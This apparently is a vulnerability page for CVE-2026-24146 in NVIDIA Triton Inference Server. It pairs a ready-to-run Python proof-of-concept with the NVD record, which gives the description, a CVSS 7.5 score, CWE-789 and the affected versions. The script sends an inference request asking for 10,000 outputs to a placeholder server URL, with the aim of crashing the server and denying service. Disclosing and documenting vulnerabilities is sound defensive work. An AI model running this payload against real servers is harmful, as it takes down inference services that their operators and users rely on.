CVE-2026-24146

import requests import json # Target URL (replace with actual target) target_url = "http://target-triton-server:8000/v2/models/example_model/infer" # Malicious payload requesting excessive outputs # Simulating a request that triggers the "large number of outputs" vulnerability payload = { "id": "test_dos", "inputs": [ { "name": "input0", "shape": [1, 16], "datatype": "FP32", "data": [0.0] * 16 } ], "outputs": [ # Generating a large number of output requests to trigger the crash {"name": f"output_{i}"} for i in range(10000) ] } headers = {"Content-Type": "application/json"} try: print(f"Sending malicious request to {target_url}...") response = requests.post(target_url, data=json.dumps(payload), headers=headers, timeout=10) print(f"Response Status Code: {response.status_code}") # If the server crashes, the response might be a timeout or connection error except requests.exceptions.RequestException as e: print(f"Potential DoS triggered: {e}")

{"cve": {"id": "CVE-2026-24146", "sourceIdentifier": "[email protected]", "published": "2026-04-07T18:16:39.347", "lastModified": "2026-04-16T17:04:12.353", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA Triton Inference Server contains a vulnerability where insufficient input validation and a large number of outputs could cause a server crash. A successful exploit of this vulnerability might lead to denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-789"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:triton_inference_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.02", "matchCriteriaId": "D065C964-D751-4288-96A0-0E0E87AF886A"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24146", "source": "[email protected]", "tags": ["US Government Resource"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5816", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2026-24146", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}